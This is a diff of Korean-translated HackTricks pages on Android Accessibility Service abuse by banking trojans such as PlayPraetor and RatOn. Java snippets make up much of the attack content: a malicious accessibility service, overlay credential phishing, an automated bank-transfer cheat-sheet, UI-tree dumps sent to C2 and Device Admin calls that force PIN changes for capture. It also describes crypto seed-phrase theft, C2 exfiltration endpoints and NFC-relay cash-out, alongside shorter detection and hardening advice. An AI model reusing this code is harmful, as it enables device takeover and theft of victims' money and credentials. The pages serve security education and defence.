|
||||
- 즉시 잠금:
|
||||
```java
|
||||
dpm.lockNow();
|
||||
```
|
||||
- 현재 자격 증명을 만료시켜 변경을 강제 (Accessibility가 새 PIN/password를 캡처):
|
||||
```java
|
||||
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
|
||||
```
|
||||
- keyguard의 생체 인증 기능을 비활성화하여 비생체 잠금 해제를 강제:
|
||||
```java
|
||||
dpm.setKeyguardDisabledFeatures(admin,
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
|
||||
```
|
||||
참고: 많은 DevicePolicyManager 제어는 최근 Android에서 Device Owner/Profile Owner를 요구합니다; 일부 OEM 빌드는 느슨할 수 있습니다. 항상 대상 OS/OEM에서 검증하세요.
|
||||
|
||||
### NFC 릴레이 오케스트레이션 (NFSkate)
|
||||
Stage-3은 외부 NFC-relay 모듈(예: NFSkate)을 설치하고 실행할 수 있으며 릴레이 동안 피해자를 안내하기 위한 HTML 템플릿을 전달할 수도 있습니다. 이는 contactless card-present cash-out을 온라인 ATS와 함께 가능하게 합니다.
|
||||
|
||||
배경: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
||||
|
||||
### Operator 명령 세트 (샘플)
|
||||
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
|
||||
- Social: `send_push`, `Facebook`, `WhatsApp`
|
||||
- Overlays: `overlay` (인라인 HTML), `block` (URL), `block_off`, `access_tint`
|
||||
- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
|
||||
- ATS: `transfer`, `check_limit`, `limit`
|
||||
- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
|
||||
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
|
||||
- NFC: `nfs`, `nfs_inject`
|
||||
|
||||
### 탐지 및 방어 아이디어 (RatOn 스타일)
|
||||
- WebViews에서 `addJavascriptInterface()`로 installer/permission 메서드를 노출하는 것을 탐지하세요; Accessibility 프롬프트를 유발하는 “/access”로 끝나는 페이지를 주의합니다.
|
||||
- 서비스 접근 권한 부여 직후 고빈도 Accessibility 제스처/클릭을 생성하는 앱에 대해 경보를 설정하세요; Accessibility node dumps와 유사한 텔레메트리가 C2로 전송되는 경우도 탐지합니다.
|
||||
- 신뢰할 수 없는 앱에서의 Device Admin 정책 변경을 모니터링하세요: `lockNow`, 비밀번호 만료, keyguard 기능 토글 등.
|
||||
- 비기업(비사내) 앱에서의 MediaProjection 프롬프트 이후 주기적 프레임 업로드가 발생하면 경보를 발합니다.
|
||||
- 다른 앱에 의해 트리거된 외부 NFC-relay 앱의 설치/실행을 탐지하세요.
|
||||
- 뱅킹의 경우: out-of-band 확인, biometrics-binding, 온-디바이스 자동화에 저항하는 거래 한도 적용을 강제하세요.
|
||||
|
||||
## References
|
||||
|
||||
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
||||
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,20 +1,20 @@
|
||||
# Android Accessibility Service Abuse
|
||||
# Android 접근성 서비스 악용
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 개요
|
||||
|
||||
`AccessibilityService`는 장애인이 Android 장치와 상호작용할 수 있도록 돕기 위해 만들어졌습니다. 불행히도, 동일한 **강력한 자동화 API**(전역 탐색, 텍스트 입력, 제스처 전송, 오버레이 창 등…)는 악성 소프트웨어에 의해 무기화되어 **루트 권한 없이** 핸드셋의 **완전 원격 제어**를 얻을 수 있습니다.
|
||||
`AccessibilityService`는 장애가 있는 사용자가 Android 장치와 상호작용하도록 돕기 위해 만들어졌다. 불행히도, 동일한 **강력한 자동화 APIs** (global navigation, text input, gesture dispatch, overlay windows…)은 악성코드에 의해 악용되어 휴대폰을 _루트 권한 없이_ **완전 원격 제어**할 수 있다.
|
||||
|
||||
현대 Android 은행 트로이안 및 원격 액세스 트로이안(RAT)인 **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** 등은 동일한 레시피를 따릅니다:
|
||||
최근의 Android 뱅킹 트로이목마 및 원격접근 트로이목마(RAT)들인 **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** 등은 같은 방식을 따른다:
|
||||
|
||||
1. 피해자를 사회 공학적으로 속여 악성 접근성 서비스를 활성화하게 합니다 (*BIND_ACCESSIBILITY_SERVICE* 권한은 "고위험"으로 간주되며 명시적인 사용자 작업이 필요합니다).
|
||||
2. 서비스를 활용하여
|
||||
* 화면에 나타나는 모든 UI 이벤트 및 텍스트를 캡처하고,
|
||||
* 합성 제스처(`dispatchGesture`) 및 전역 작업(`performGlobalAction`)을 주입하여 운영자가 원하는 작업을 자동화하고,
|
||||
* **TYPE_ACCESSIBILITY_OVERLAY** 창 유형을 사용하여 합법적인 앱 위에 전체 화면 오버레이를 그리며( `SYSTEM_ALERT_WINDOW` 프롬프트 없음!),
|
||||
* 피해자를 대신하여 시스템 대화 상자를 클릭하여 추가 런타임 권한을 조용히 부여합니다.
|
||||
3. 사용자가 완전히 정상적인 화면을 보고 있는 동안 데이터를 유출하거나 **On-Device-Fraud (ODF)**를 실시간으로 수행합니다.
|
||||
1. 피해자가 악성 접근성 서비스를 활성화하도록 사회공학 기법을 사용한다 (*BIND_ACCESSIBILITY_SERVICE* 권한은 "고위험"으로 간주되며 명시적인 사용자 동작이 필요하다).
|
||||
2. 서비스를 이용하여
|
||||
* 화면에 표시되는 모든 UI 이벤트 및 텍스트를 캡처한다,
|
||||
* 운영자가 원하는 작업을 자동화하기 위해 합성 제스처(`dispatchGesture`)와 글로벌 액션(`performGlobalAction`)을 주입한다,
|
||||
* **TYPE_ACCESSIBILITY_OVERLAY** 윈도우 타입을 사용하여 정상 앱 위에 전체화면 오버레이를 그린다 ( `SYSTEM_ALERT_WINDOW` 프롬프트 없음! ),
|
||||
* 피해자를 대신해 시스템 다이얼로그를 클릭하여 추가 런타임 권한을 은밀하게 허용한다.
|
||||
3. 사용자가 전혀 이상하지 않은 화면을 보고 있는 동안 실시간으로 데이터를 유출하거나 **On-Device-Fraud (ODF)**를 수행한다.
|
||||
|
||||
---
|
||||
|
||||
@ -34,7 +34,7 @@ android:exported="false">
|
||||
android:resource="@xml/evil_accessibility_config"/>
|
||||
</service>
|
||||
```
|
||||
동반 XML은 가짜 대화 상자가 어떻게 보일지를 정의합니다:
|
||||
동봉된 XML은 가짜 대화상자가 어떻게 보일지 정의합니다:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
@ -45,9 +45,7 @@ android:notificationTimeout="200"
|
||||
android:canPerformGestures="true"
|
||||
android:canRetrieveWindowContent="true"/>
|
||||
```
|
||||
---
|
||||
|
||||
## 원격 UI 자동화 원시 요소
|
||||
## 원격 UI 자동화의 기본 요소
|
||||
```java
|
||||
public class EvilService extends AccessibilityService {
|
||||
@Override
|
||||
@ -68,17 +66,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
|
||||
}
|
||||
}
|
||||
```
|
||||
이 두 개의 API만으로 공격자는 다음을 수행할 수 있습니다:
|
||||
* 화면 잠금을 해제하고, 은행 앱을 열고, UI 트리를 탐색하며, 이체 양식을 제출할 수 있습니다.
|
||||
* 나타나는 모든 권한 대화 상자를 수락할 수 있습니다.
|
||||
* Play Store 인텐트를 통해 추가 APK를 설치/업데이트할 수 있습니다.
|
||||
이 두 개의 API만으로 공격자는 다음을 수행할 수 있다:
|
||||
* 화면의 잠금을 해제하고, 은행 앱을 열어 UI 트리를 탐색한 뒤 이체 폼을 제출한다.
|
||||
* 표시되는 모든 권한 대화상자를 허용한다.
|
||||
* Play Store intent를 통해 추가 APK를 설치/업데이트한다.
|
||||
|
||||
---
|
||||
|
||||
## 남용 패턴
|
||||
## 악용 패턴
|
||||
|
||||
### 1. 오버레이 피싱 (자격 증명 수집)
|
||||
투명하거나 불투명한 `WebView`가 윈도우 관리자에 추가됩니다:
|
||||
### 1. Overlay Phishing (Credential Harvesting)
|
||||
투명하거나 불투명한 `WebView`가 윈도우 매니저에 추가된다:
|
||||
```java
|
||||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||||
MATCH_PARENT, MATCH_PARENT,
|
||||
@ -87,59 +85,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real
|
||||
PixelFormat.TRANSLUCENT);
|
||||
wm.addView(phishingView, lp);
|
||||
```
|
||||
피해자는 가짜 양식에 자격 증명을 입력하는 동안 백그라운드 앱은 동일한 제스처를 수신합니다. - 의심스러운 "다른 앱 위에 그리기" 프롬프트는 표시되지 않습니다.
|
||||
피해자는 가짜 폼에 자격 증명을 입력하는 동안 백그라운드 앱은 동일한 제스처를 수신합니다 – "draw over other apps"와 같은 의심스러운 프롬프트는 전혀 표시되지 않습니다.
|
||||
|
||||
> 자세한 예: Tapjacking 페이지 내의 *Accessibility Overlay Phishing* 섹션.
|
||||
> 상세 예시: Tapjacking 페이지 내 *Accessibility Overlay Phishing* 섹션.
|
||||
|
||||
### 2. 기기 내 사기 자동화
|
||||
**PlayPraetor**와 같은 악성코드 패밀리는 운영자가 고수준 명령(`init`, `update`, `alert_arr`, `report_list`, …)을 발행할 수 있는 지속적인 WebSocket 채널을 유지합니다. 이 서비스는 이러한 명령을 위의 저수준 제스처로 변환하여, 해당 기기에 연결된 다단계 인증을 쉽게 우회하는 실시간 무단 거래를 달성합니다.
|
||||
### 2. On-Device Fraud automation
|
||||
**PlayPraetor**와 같은 악성코드 계열은 운영자가 고수준 명령(`init`, `update`, `alert_arr`, `report_list`, …)을 발행할 수 있는 지속적인 WebSocket 채널을 유지합니다. 서비스는 이러한 명령을 위의 저수준 제스처로 변환하여, 해당 기기에 연동된 다중 인증을 쉽게 우회하는 실시간 무단 거래를 수행합니다.
|
||||
|
||||
### 3. 화면 스트리밍 및 모니터링
|
||||
**MediaProjection API**와 RTMP 클라이언트 라이브러리를 결합하여 RAT는 라이브 프레임 버퍼를 `rtmp://<c2>:1935/live/<device_id>`로 방송할 수 있으며, 이는 접근성 엔진이 UI를 구동하는 동안 적에게 완벽한 상황 인식을 제공합니다.
|
||||
### 3. Screen streaming & monitoring
|
||||
**MediaProjection API**를 RTMP 클라이언트 라이브러리와 결합하면, RAT는 라이브 프레임버퍼를 `rtmp://<c2>:1935/live/<device_id>`로 방송할 수 있어 Accessibility 엔진이 UI를 제어하는 동안 공격자에게 완전한 상황 인식을 제공합니다.
|
||||
|
||||
---
|
||||
|
||||
## PlayPraetor – 명령 및 제어 워크플로우
|
||||
## PlayPraetor – command & control workflow
|
||||
|
||||
1. **HTTP(S) 하트비트** – 하드코딩된 목록을 반복하여 하나의 도메인이 활성 C2와 함께 `POST /app/searchPackageName`에 응답할 때까지.
|
||||
2. **WebSocket (포트 8282)** – 양방향 JSON 명령:
|
||||
* `update` – 새로운 conf/APK 푸시
|
||||
1. **HTTP(S) heartbeat** – 하드코딩된 목록을 순회하여 하나의 도메인이 활성 C2로 `POST /app/searchPackageName`에 응답할 때까지 반복합니다.
|
||||
2. **WebSocket (port 8282)** – 양방향 JSON 명령:
|
||||
* `update` – 새로운 conf/APKs 푸시
|
||||
* `alert_arr` – 오버레이 템플릿 구성
|
||||
* `report_list` – 타겟 패키지 이름 목록 전송
|
||||
* `heartbeat_web` – 유지
|
||||
3. **RTMP (포트 1935)** – 라이브 화면/비디오 스트리밍.
|
||||
4. **REST 유출** –
|
||||
* `/app/saveDevice` (지문)
|
||||
* `report_list` – 대상 패키지 이름 목록 전송
|
||||
* `heartbeat_web` – keep-alive
|
||||
3. **RTMP (port 1935)** – 라이브 화면/비디오 스트리밍.
|
||||
4. **REST exfiltration** –
|
||||
* `/app/saveDevice` (fingerprint)
|
||||
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
||||
* `/app/saveCardPwd` (은행 자격 증명)
|
||||
* `/app/saveCardPwd` (bank creds)
|
||||
|
||||
**AccessibilityService**는 이러한 클라우드 명령을 물리적 상호작용으로 변환하는 로컬 엔진입니다.
|
||||
로컬 엔진인 **AccessibilityService**가 이러한 클라우드 명령을 물리적 상호작용으로 전환합니다.
|
||||
|
||||
---
|
||||
|
||||
## 악성 접근성 서비스 탐지
|
||||
## Detecting malicious accessibility services
|
||||
|
||||
* `adb shell settings get secure enabled_accessibility_services`
|
||||
* 설정 → 접근성 → *다운로드된 서비스* – Google Play에서 **아닌** 앱을 찾습니다.
|
||||
* MDM / EMM 솔루션은 `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+)를 적용하여 사이드로드된 서비스를 차단할 수 있습니다.
|
||||
* 실행 중인 서비스 분석:
|
||||
* Settings → Accessibility → *Downloaded services* – Google Play에서 배포되지 않은 앱을 확인하세요.
|
||||
* MDM / EMM 솔루션은 사이드로딩된 서비스를 차단하기 위해 `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY`(Android 13+)를 적용할 수 있습니다.
|
||||
* 실행 중인 서비스를 분석:
|
||||
```bash
|
||||
adb shell dumpsys accessibility | grep "Accessibility Service"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 앱 개발자를 위한 강화 권장 사항
|
||||
## Hardening recommendations for app developers
|
||||
|
||||
* 민감한 뷰에 `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+)로 표시합니다.
|
||||
* `setFilterTouchesWhenObscured(true)`와 `FLAG_SECURE`를 결합하여 탭/오버레이 하이재킹을 방지합니다.
|
||||
* `WindowManager.getDefaultDisplay().getFlags()` 또는 `ViewRootImpl` API를 폴링하여 오버레이를 감지합니다.
|
||||
* `Settings.canDrawOverlays()` **또는** 신뢰할 수 없는 접근성 서비스가 활성화된 경우 작동을 거부합니다.
|
||||
* 민감한 뷰에 `android:accessibilityDataSensitive="accessibilityDataPrivateYes"`(API 34+)를 표시하세요.
|
||||
* `setFilterTouchesWhenObscured(true)`를 `FLAG_SECURE`와 결합하여 tap/overlay hijacking을 방지하세요.
|
||||
* `WindowManager.getDefaultDisplay().getFlags()` 또는 `ViewRootImpl` API를 폴링하여 오버레이를 탐지하세요.
|
||||
* `Settings.canDrawOverlays()` **또는** 신뢰되지 않는 Accessibility 서비스가 활성화되어 있으면 동작을 거부하세요.
|
||||
|
||||
---
|
||||
|
||||
## 참고 문헌
|
||||
* [PlayPraetor의 진화하는 위협: 중국어를 사용하는 행위자들이 전 세계적으로 Android RAT를 확장하는 방법](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||||
* [Android 접근성 문서 – UI 상호작용 자동화](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||||
## ATS automation cheat-sheet (Accessibility-driven)
|
||||
Malware는 Accessibility APIs만으로 은행 앱을 완전 자동화할 수 있습니다. 일반적인 원시 동작:
|
||||
```java
|
||||
// Helpers inside your AccessibilityService
|
||||
private List<AccessibilityNodeInfo> byText(String t){
|
||||
AccessibilityNodeInfo r = getRootInActiveWindow();
|
||||
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
|
||||
}
|
||||
private boolean clickText(String t){
|
||||
for (AccessibilityNodeInfo n: byText(t)){
|
||||
if (n.isClickable()) return n.performAction(ACTION_CLICK);
|
||||
AccessibilityNodeInfo p = n.getParent();
|
||||
if (p != null) return p.performAction(ACTION_CLICK);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
private void inputText(AccessibilityNodeInfo field, String text){
|
||||
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
|
||||
field.performAction(ACTION_SET_TEXT, b);
|
||||
}
|
||||
private void tap(float x, float y){
|
||||
Path p = new Path(); p.moveTo(x,y);
|
||||
dispatchGesture(new GestureDescription.Builder()
|
||||
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
|
||||
}
|
||||
```
|
||||
예시 흐름 (체코어 → 영어 레이블):
|
||||
- "Nová platba" (새 결제) → 클릭
|
||||
- "Zadat platbu" (결제 입력) → 클릭
|
||||
- "Nový příjemce" (새 수취인) → 클릭
|
||||
- "Domácí číslo účtu" (국내 계좌번호) → 포커스 및 `ACTION_SET_TEXT`
|
||||
- "Další" (다음) → 클릭 → … "Zaplatit" (지불) → 클릭 → PIN 입력
|
||||
|
||||
대체: 텍스트 조회가 커스텀 위젯 때문에 실패할 때 하드코딩된 좌표와 `dispatchGesture` 사용.
|
||||
|
||||
또한 관찰됨: limits UI로 이동하여 이체 전에 일일 한도를 늘려 `check_limit` 및 `limit`에 대한 사전 단계를 수행.
|
||||
|
||||
## 텍스트 기반 유사 스크린 스트리밍
|
||||
저지연 원격 제어를 위해 전체 비디오 스트리밍 대신 현재 UI 트리의 텍스트 표현을 덤프하여 반복적으로 C2로 전송한다.
|
||||
```java
|
||||
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
|
||||
if (n==null) return;
|
||||
Rect b = new Rect(); n.getBoundsInScreen(b);
|
||||
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
|
||||
sb.append(indent).append("[").append(cls).append("] ")
|
||||
.append(txt==null?"":txt).append(" ")
|
||||
.append(b.toShortString()).append("\n");
|
||||
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
|
||||
}
|
||||
```
|
||||
이것은 `txt_screen` (일회성) 및 `screen_live` (지속적) 같은 명령의 기반입니다.
|
||||
|
||||
## Device Admin 강제 수단
|
||||
Device Admin receiver가 활성화되면, 이러한 호출들은 자격 증명을 캡처하고 제어를 유지할 기회를 증가시킵니다:
|
||||
```java
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
|
||||
ComponentName admin = new ComponentName(this, AdminReceiver.class);
|
||||
|
||||
// 1) Immediate lock
|
||||
dpm.lockNow();
|
||||
|
||||
// 2) Force credential change (expire current PIN/password)
|
||||
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
|
||||
|
||||
// 3) Disable biometric unlock to force PIN/pattern entry
|
||||
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
|
||||
dpm.setKeyguardDisabledFeatures(admin, flags);
|
||||
```
|
||||
참고: 이러한 정책의 정확한 적용 가능성은 Android 버전과 OEM에 따라 달라집니다. 테스트 중에는 디바이스 정책 역할(admin vs owner)을 확인하세요.
|
||||
|
||||
## 암호화폐 지갑 시드 문구 추출 패턴
|
||||
MetaMask, Trust Wallet, Blockchain.com 및 Phantom에서 관찰된 흐름:
|
||||
- 도난된 PIN(overlay/Accessibility를 통해 캡처) 또는 제공된 지갑 비밀번호로 잠금 해제.
|
||||
- 이동: Settings → Security/Recovery → Reveal/Show recovery phrase.
|
||||
- 텍스트 노드를 keylogging으로 수집하거나, secure-screen bypass를 이용하거나, 텍스트가 가려져 있을 때 screenshot OCR로 스크린샷을 통해 문구를 수집.
|
||||
- EN/RU/CZ/SK 등 다국어 로케일을 지원하여 셀렉터를 안정화 — 가능하면 `viewIdResourceName`를 우선 사용하고, 없으면 다국어 텍스트 매칭으로 대체.
|
||||
|
||||
## NFC-relay orchestration
|
||||
Accessibility/RAT 모듈은 3단계로 전용 NFC-relay 앱(예: NFSkate)을 설치·실행할 수 있으며, overlay 가이드를 주입해 피해자가 카드-프레젠트 릴레이 단계를 수행하도록 유도할 수 있습니다.
|
||||
|
||||
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||||
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||||
* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||
* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user